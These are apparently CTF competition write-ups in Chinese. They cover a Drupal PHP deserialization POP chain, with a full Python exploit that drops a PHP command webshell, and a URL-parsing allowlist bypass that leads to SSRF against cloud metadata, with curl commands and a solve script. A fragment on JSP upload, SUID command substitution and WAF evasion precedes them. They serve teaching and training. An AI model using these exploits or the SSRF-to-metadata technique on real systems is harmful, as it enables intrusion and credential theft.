admins里五个哈希都是无盐 SHA-256,必须先本地验证SHA256("freedom")等于13b1f7ec...才能确认破解结果,而登录接口三次失败即锁定,不能在线爆破;前端扩展名限制可绕,但服务端 ImageIO 会校验文件头,JSP 只能追加在完整 PNG 之后;SUID 程序只过滤..不过滤$(),命令替换在cp -p执行前就已在 euid=0 下完成,直接chmod 644 /flag即可,无需反弹 shell。延伸:盲注被 WAF 拦掉
substr/ascii/chr时,可换lpad/rpad/left/strpos等未被拦截的等价原语,元数据查询也能改用pg_class、pg_attribute绕开information_schema;「后台图片上传 + 容器 JSP 解析」和「SUID 脚本拼接外部输入」是 Java 站与运维备份脚本题的两类常见收尾点,看到bash -c拼接用户可控参数应优先想到命令替换而非;、|分隔符。
Crack a Little Smile
一、入口确认
先向导出接口提交一组普通字段,观察返回的 code。它是 Base64 文本,解码后不是 JSON,而是标准 PHP serialize() 结果:
O:22:"ResonanceArchivePreset":5:{
s:13:"formatVersion";s:19:"resonance-archive/1";
s:8:"codename";s:6:"test01";
s:9:"fieldNote";s:16:"hello world test";
s:4:"band";s:7:"band-01";
s:13:"signalProfile";s:5:"clean";
}导入接口只要求 JSON 中存在 code。异常响应会根据解码、类型和字段校验阶段分别返回错误,但这些检查发生在 unserialize() 之后,因此错误响应不能说明对象没有被创建。
二、找到可利用的执行点
原始序列化字符串会先被扫描 provider 关键字,再进入 unserialize()。题目环境对 Symfony、Guzzle 和 Doctrine 等常见关键词有过滤,所以这里不依赖通用 POP 链,而是使用 Drupal 自己的依赖注入组件。
Drupal\Component\DependencyInjection\Container::get() 在取服务定义时,可能再次对定义执行反序列化;随后 createService() 会读取 factory 与 arguments,并通过 call_user_func_array() 调用工厂。把 factory 设置为 file_put_contents,并把参数设置为“目标路径、文件内容”,就得到了稳定的写文件动作。
为了让这条路径在请求结束时触发,需要把对象挂进析构链:YamlCacheCollectorDiscovery 析构时调用 State 的 destruct(),State 继承 CacheCollector,最终 updateCache() 会调用 cache->get()。这里的 cache 放入 Container,cid 指向伪造的服务定义,lock 使用 NullLockBackend 让 acquire() 直接成功。
三、对象关系
从外到内的结构如下。字段名使用 protected 属性的序列化形式,即字节串 \0*\0 加真实字段名;所有字符串长度都按字节数计算。
ResonanceArchivePreset
└── x = YamlCacheCollectorDiscovery
└── yamlCacheCollector = Drupal\Core\State\State
├── cid = 自定义服务名
├── cache = Drupal\Component\DependencyInjection\Container
│ └── serviceDefinitions[cid]
│ ├── factory = file_put_contents
│ └── arguments = [目标路径, PHP 文件内容]
└── lock = Drupal\Core\Lock\NullLockBackend外层对象的五个业务字段保持合法值,额外的 x 字段承载对象链。导入时即使业务层返回 unreadable_preset,反序列化期间和请求收尾阶段的析构代码仍然可能已经执行。
四、先写普通文件确认路径
正式写 shell 之前,先把固定字符串写到 sites/default/files,确认 Drupal 进程对该目录有写权限,并确认 nginx 能够直接返回文件内容。
项目 | 值 |
|---|---|
写入路径 |
|
写入内容 |
|
GET |
|
响应 |
|
这一阶段的 import 返回 422 属于预期现象。真正需要观察的是目标文件是否出现,以及 GET 是否能拿到写入内容。
五、写入 PHP 并执行命令
确认目录可写后,将文件内容改为极简 PHP 执行器。由于服务端是 nginx + php-fpm,files 目录中的 .php 会交给 PHP-FPM 处理,因此可以通过查询参数传入命令。下面的脚本重新实现了序列化构造逻辑,并显式补齐每一个数组和对象的结束标记。
#!/usr/bin/env python3
import base64
import secrets
import string
import sys
import json
import ssl
from urllib.parse import urlencode
from urllib.request import Request, urlopen
TLS = ssl._create_unverified_context()
DEFAULT_URL = "https://eci-2ze1sf3dfai8tycv2klr.cloudeci1.ichunqiu.com:80"
def php_string(value):
raw = value.encode() if isinstance(value, str) else value
return b's:%d:"%s";' % (len(raw), raw)
def php_array(entries):
body = bytearray()
for key, value in entries:
body.extend(b"i:%d;" % key if isinstance(key, int) else php_string(key))
body.extend(value)
return b"a:%d:{" % len(entries) + bytes(body) + b"}"
def php_object(class_name, properties):
name = class_name.encode()
body = bytearray()
for key, value in properties:
body.extend(php_string(key)); body.extend(value)
return b'O:%d:"%s":%d:{' % (len(name), name, len(properties)) + bytes(body) + b"}"
def protected(name):
return b"\x00*\x00" + name.encode()
def build_payload(path, content, service_id):
definition = php_array([
("factory", php_string("file_put_contents")),
("arguments", php_array([(0, php_string(path)), (1, php_string(content))])),
])
container = php_object("Drupal\Component\DependencyInjection\Container", [
(protected("serviceDefinitions"), php_array([(service_id, definition)])),
(protected("services"), php_array([])),
(protected("aliases"), php_array([])),
(protected("parameters"), php_array([])),
(protected("privateServices"), php_array([])),
(protected("loading"), php_array([])),
(protected("frozen"), b"b:1;"),
])
state = php_object("Drupal\Core\State\State", [
(protected("cid"), php_string(service_id)),
(protected("cache"), container),
(protected("lock"), php_object("Drupal\Core\Lock\NullLockBackend", [])),
(protected("keysToPersist"), php_array([("probe", b"b:1;")])),
(protected("keysToRemove"), php_array([])),
(protected("storage"), php_array([("probe", php_string("ok"))])),
(protected("cacheCreated"), b"N;"),
(protected("cacheInvalidated"), b"b:0;"),
(protected("cacheLoaded"), b"b:0;"),
(protected("tags"), php_array([])),
(protected("keyValueStore"), b"N;"),
(protected("keysSetDuringRequest"), php_array([])),
])
discovery = php_object("Drupal\Core\Discovery\YamlCacheCollectorDiscovery", [
(protected("yamlCacheCollector"), state),
])
preset = php_object("ResonanceArchivePreset", [
("formatVersion", php_string("resonance-archive/1")),
("codename", php_string("qwb")),
("fieldNote", php_string("qwb note")),
("band", php_string("band-01")),
("signalProfile", php_string("clean")),
("x", discovery),
])
return base64.b64encode(preset).decode()
def post_json(url, payload):
body = json.dumps(payload).encode()
req = Request(url, data=body, headers={"Content-Type": "application/json"})
try:
with urlopen(req, context=TLS, timeout=30) as res:
return res.status, res.read().decode(errors="replace")
except Exception as exc:
return getattr(exc, "code", 0), str(exc)
def get_command(url, command):
target = url + "?" + urlencode({"c": command})
try:
with urlopen(target, context=TLS, timeout=30) as res:
return res.status, res.read().decode(errors="replace")
except Exception as exc:
return getattr(exc, "code", 0), str(exc)
def main():
base = (sys.argv[1] if len(sys.argv) > 1 else DEFAULT_URL).rstrip("/")
token = "".join(secrets.choice(string.ascii_lowercase) for _ in range(8))
filename = "res_" + token + ".php"
remote_path = "/opt/drupal/web/sites/default/files/" + filename
php = ''
status, text = post_json(base + "/api/presets/import", {
"code": build_payload(remote_path, php, "svc_" + token)
})
print("[*] import", status, text[:180])
shell_url = base + "/sites/default/files/" + filename
status, text = get_command(shell_url, "id")
print("[*] shell ", status, text.strip()[:220])
status, text = get_command(shell_url, "/readflag")
print("[+] flag ", text.strip())
if __name__ == "__main__":
main()脚本使用方式:
python3 exploit.py https://目标地址:80如果环境对异常响应做了统一包装,import 的状态码不必固定为 200;只要随后 GET 能访问随机生成的 PHP 文件,就说明写入动作已经完成。
最终请求链为:可控 code → Base64 解码 → unserialize() → Drupal Discovery 析构 → CacheCollector::updateCache() → Container::get() → call_user_func_array() → file_put_contents() → PHP-FPM 执行 /readflag。实测 shell 返回 www-data 身份,调用 /readflag 后得到 flag。
flag{02f95304-d062-48b8-83d3-da7d5fe58793}考点补充
核心考点:PHP 反序列化 + Drupal 依赖注入组件构成的 POP 链——
Container::get()读服务定义、createService()取 factory 与 arguments、call_user_func_array()调用工厂,把 factory 设为file_put_contents即得到任意文件写入;再借 nginx + PHP-FPM 解析 files 目录下的.php完成 RCE。关键技巧:绕开被过滤的 Symfony/Guzzle/Doctrine 通用链,改用 Drupal 自带的
serviceDefinitions伪造服务定义;用YamlCacheCollectorDiscovery析构 →State::destruct()→CacheCollector::updateCache()→cache->get()把触发点推迟到请求收尾,并以NullLockBackend让acquire()直接成功;protected 属性按\0*\0前缀 + 字节长度拼装。常见坑:序列化字符串的长度必须按字节数算,
\0前缀和中文都占字节,数组与对象结尾的}/;一个都不能少;import 返回 422 或unreadable_preset不代表对象没被创建,析构可能已经执行,判据应是目标文件是否落地、GET 能否读到;正式写 shell 前先落一个probe.txt验证目录可写与静态访问。延伸:凡是在反序列化后按“服务定义/工厂参数”实例化对象的框架(DI 容器、缓存收集器、事件派发器)都可能存在同型链,只要能控制 factory 与 arguments 就能转成任意函数调用;防御上可用
unserialize()的allowed_classes白名单、禁止上传目录执行 PHP、open_basedir限制写路径来切断这条链。
vaultlink
1. 题目环境与目标
目标容器通过 nc 39.105.128.233 37086 访问,对外是一个合作方网关(VaultLink Partner Gateway)。网关后端还有内部的 relay 与 core 账本服务,均不对合作方网络暴露。题目要求读取容器内的 /flag。
2. 入口侦察:唯一对外功能点
访问 http://39.105.128.233:37086/ 得到网关首页,/docs 为合作方集成文档。两者表明对外的业务入口只有一个反向代理端点:
GET /api/proxy?url=该端点限制为:仅允许 http/https 协议;主机必须命中合作方白名单;响应中会回显上游的 host:port。文档另有两条关键提示:一是代理会原样透传 Upgrade,因此 WebSocket 也能经该端点访问;二是“v1 合作方把凭据放在 URL authority(userinfo)”,这句直接指向 URL 解析歧义。
另外,首页 HTML 注释中存在一条 flag{st4g1ng_r3l34s3_n0t_r34l}。从命名(staging release not real)和出现位置判断,它是 staging 快照留下的假 flag,后续验证也确认它不是 /flag。
3. 漏洞确认:反斜杠导致校验与连接解析不一致,绕过白名单
为便于阅读,以下请求用变量表示网关地址、白名单域与目标,可直接复制执行:
BASE=http://39.105.128.233:37086
ALLOWED=rates.partner-forex.example.com
TARGET=127.0.0.1:31337先做对照实验,直接请求内网维护端口,被白名单拦截:
curl -s -i "$BASE/api/proxy?url=http://$TARGET/"HTTP/1.1 403 Forbidden
{"error":"host not in partner allowlist","host":"127.0.0.1"}把白名单域放进 userinfo 位置、用反斜杠分隔,再请求同一内网地址则成功:
curl -s -i "$BASE/api/proxy?url=http://$ALLOWED%5C@$TARGET/config"HTTP/1.1 200 OK
{
"service": "vaultlink-gateway",
"vault_session_seed": "0e4c4af5…(已脱敏)",
"relay_endpoint": "127.0.0.1:8081/ws",
"note": "internal maintenance endpoint - do not expose"
}原因是校验与连接使用了不同的 URL 规范化规则:校验阶段把 rates.partner-forex.example.com\@127.0.0.1:31337 的主机解析为白名单域(反斜杠未被当作 authority 结束符,@ 也未被当作 userinfo 分隔);真正发起连接时,HTTP 客户端先把反斜杠规范化为斜杠,随后把 \@ 视为 userinfo 分隔,实际 dial 的目标变成 127.0.0.1:31337。由此形成白名单绕过,得到任意内网 host:port 的未授权 SSRF。
4. 内网测绘
127.0.0.1:31337/config泄露vault_session_seed(已脱敏)与relay_endpoint=127.0.0.1:8081/ws,后者正是内部 relay。127.0.0.1:8081/ws带Upgrade请求可返回 101,随后下发SESSION与READY guest;AUTH帧仅 ops console 可用,合作方会话被拒绝,未能转化为突破。/.git/config泄露 stagingADMIN_TOKEN(已脱敏)、内部 git 远端git@deploy.vaultlink.internal:infra/gateway.git,以及“维护端点留在 127.0.0.1:31337”的部署备注。实测该 token 在网关各端点均无效,属干扰项。31337 上只有
/config一个路由,没有其他可用接口。
5. 已排除的死路
路径穿越方面,//proc/self/environ、..%2f..%2f 等 40 余种变体全部返回 404,编码变体在路由归一化后同样失效;协议方面,file://、gopher://、dict:// 均被 scheme 白名单拒绝;31337 没有文件读取或命令执行面,容器 docker 网段(172.17.0.0/16)不可达;relay 的 AUTH 需要 ops console 凭据,seed 只能作为会话标识,不能提权。
6. 最终突破:SSRF 打云元数据
SSRF 可以直接访问云厂商元数据服务。先尝试通用地址 169.254.169.254,返回 502,说明该地址在此环境不可路由;结合镜像地址 registry-vpc.cn-beijing.aliyuncs.com 与 ECI 相关特征,判断目标运行在阿里云 ECI 上,元数据地址为 100.100.100.200:
META=100.100.100.200
curl -s "$BASE/api/proxy?url=http://$ALLOWED%5C@$META/latest/user-data" \
-o user-data.txt返回 200,正文是 base64+gzip 编码的 Pod spec,解码后即可读取容器环境变量:
base64 -d user-data.txt | gunzip -c | python -m json.tool"env": [
{
"name": "ICQ_FLAG",
"value": "flag{30b66d56-e527-421c-8a80-1dda917b4b50}"
},ICQ_FLAG 即容器内 /flag 的内容。需要注意,Pod spec 中还一并泄露了镜像仓库的拉取凭据,本文已脱敏,不再展开。
7. 利用链总结
/api/proxy 反斜杠白名单绕过 → 任意内网 SSRF → 阿里云 ECI 元数据 100.100.100.200/latest/user-data → base64+gzip 解码 → ICQ_FLAG → flag。
以下脚本从题目入口开始,依次完成白名单绕过验证、内网 config 探测、云元数据拉取与解码,最后打印 flag:
#!/usr/bin/env python3
"""VaultLink gateway: backslash allowlist bypass -> SSRF -> Aliyun ECI
metadata -> ICQ_FLAG (== /flag).
Usage: python3 solve.py [http://39.105.128.233:37086]
"""
import base64
import gzip
import json
import sys
import urllib.error
import urllib.request
DEFAULT = "http://39.105.128.233:37086"
BASE = sys.argv[1] if len(sys.argv) > 1 else DEFAULT
ALLOWED = "rates.partner-forex.example.com"
METADATA = "100.100.100.200" # ECI; 169.254.169.254 is not routed here
def http_get(url, timeout=25):
req = urllib.request.Request(url, headers={"User-Agent": "wp"})
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.status, r.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def proxy(target):
"""Reach target through the gateway's SSRF.
The gateway validates the host before '@', but its HTTP client splits
on the backslash as userinfo, so the connection goes to target.
"""
url = f"{BASE}/api/proxy?url=http://{ALLOWED}%5C@{target}"
return http_get(url)
control = f"{BASE}/api/proxy?url=http://127.0.0.1:31337/"
status, _ = http_get(control)
print(f"[*] control (127.0.0.1 direct) -> HTTP {status}")
status, body = proxy("127.0.0.1:31337/config")
print(f"[*] bypass (backslash @) -> HTTP {status}")
print(body.decode().strip())
status, body = proxy(f"{METADATA}/latest/user-data")
print(f"[*] metadata user-data -> HTTP {status}, {len(body)} bytes")
pod = json.loads(gzip.decompress(base64.b64decode(body)).decode())
env = pod["kubepod"]["pod"]["spec"]["containers"][0]["env"]
flag = next(e["value"] for e in env if e["name"] == "ICQ_FLAG")
print(f"\n[+] FLAG: {flag}")flag
flag{30b66d56-e527-421c-8a80-1dda917b4b50}考点补充
核心考点:URL 解析歧义——校验层与连接层对
\@的 authority/userinfo 切分不一致,用白名单域做 userinfo、反斜杠做分隔符即可让“看起来”合法的 URL 实际连向内网,属于白名单 SSRF 绕过的经典形态。关键技巧:先在 userinfo 位置塞白名单域、再让后端规范化反斜杠为斜杠,从而通过校验并 dial 到
127.0.0.1:31337;拿到任意内网host:port后不要止步于内部服务,直接按云环境指纹(registry-vpc.cn-beijing.aliyuncs.com)切换到 ECI 元数据100.100.100.200,从/latest/user-data的 base64+gzip Pod spec 里取环境变量。常见坑:
169.254.169.254在此环境返回 502 不可路由,只测通用元数据地址会误判为“无元数据”;首页 HTML 注释里的flag{st4g1ng_r3l34s3_n0t_r34l}与/.git/config泄露的 stagingADMIN_TOKEN都是干扰项,需以能否读到/flag实际值为准。延伸:user-data 里的 base64+gzip 只是常见编码组合,真实场景还应同时检查
/latest/meta-data/下的 ram/role 凭据;本题 Pod spec 泄露的 registry 拉取凭据虽已脱敏,却说明一次 SSRF 往往能连带拿到供应链凭据。